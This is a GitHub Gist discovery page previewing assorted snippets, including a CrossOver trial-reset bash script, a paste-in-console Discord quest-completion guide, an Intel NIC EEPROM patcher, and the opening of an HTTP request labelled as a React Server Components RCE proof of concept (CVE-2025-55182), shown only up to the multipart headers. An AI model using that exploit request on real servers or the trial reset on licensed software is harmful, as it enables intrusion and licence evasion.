Skip to content

Instantly share code, notes, and snippets.

@Rich77498
Rich77498 / Crossover_trial_reset.sh
Created May 2, 2025 15:31
bash script reset crossover on mac updated 2025
#!/usr/bin/env bash
# Locate CrossOver.app
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
[ -d "${CO_PWD}" ] || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
if [ ! -d "${CO_PWD}" ]; then
echo "CrossOver not found in default locations. Exiting..."
exit 1
fi
@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active December 19, 2025 01:10
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This does not works in browser for quests which require you to play a game! Use the desktop app to complete those.

How to use this script:

  1. Accept a quest under Discover -> Quests
  2. Press Ctrl+Shift+I to open DevTools
  3. Go to the Console tab
  4. Paste the following code and hit enter:
@steveruizok
steveruizok / clean-copy.md
Created December 7, 2025 22:03
Clean copy.

Reimplement the current branch on a new branch with a clean, narrative-quality git commit history suitable for reviewer comprehension.

Steps

  1. Validate the source branch

    • Ensure the current branch has no merge conflicts, uncommitted changes, or other issues.
    • Confirm it is up to date with main.
  2. Analyze the diff

  • Study all changes between the current branch and main.
@ixs
ixs / intel_x520_patcher.py
Last active December 19, 2025 00:59
Intel x520 EEPROM Patcher allows to unlock the x520 network card to work with non-intel branded SFP modules.
#!/usr/bin/env python3
#
# Simple Intel x520 EEPROM patcher
# Modifies the EEPROM to unlock the card for non-intel branded SFP modules.
#
# Copyright 2020,2021,2022 Andreas Thienemann <[email protected]>
#
# Licensed under the GPLv3
#
# Based on research described at https://forums.servethehome.com/index.php?threads/patching-intel-x520-eeprom-to-unlock-all-sfp-transceivers.24634/
@NeoTheFox
NeoTheFox / compatdata.sh
Last active December 19, 2025 00:56
Link Steam's Proton prefixes by name for ease of use
#!/usr/bin/env bash
help() {
echo NAME
echo " compatdata.sh - create \"by-game\" symlink folder for every compatdata folder on this machine"
echo
echo SYNOPSIS
echo " compatdata.sh [-h] [-p]"
echo
echo OPTIONS
@CodyBohn
CodyBohn / Maxis Loading Messages.txt
Last active December 19, 2025 00:55
Compiled list of loading messages from the Sims games
Abolishing Pedestrian Posturing
Abstracting Loading Procedures
Activating Deviance Threshold
Activating Hotel Staff
Activating Story Arc
Adapting Behavioral Model
Adding Hidden Agendas
Adjusting Acceptable Apparel
Adjusting Bell Curves
Adjusting Emotional Weights
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 19, 2025 00:48
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@dehsilvadeveloper
dehsilvadeveloper / 0_prerequisites.md
Last active December 19, 2025 00:46
Installing Docker on WSL 2 with Ubuntu 22.04

Installing Docker on WSL 2 with Ubuntu 22.04

Instalando Docker em um WSL 2 com Ubuntu 22.04

Prerequisites

Before start the installation process, make sure you meet the following prerequisites:

  • A Windows 10 operating system with WSL 2 support.
  • WSL 2 enabled.
  • Ubuntu 22.04 installed on WSL 2.
@vookimedlo
vookimedlo / macos_mute_unmute.md
Last active December 19, 2025 00:38
MacOS: mute & unmute from command line

Mute volume

osascript -e "set volume with output muted"

Unmute volume

osascript -e "set volume without output muted"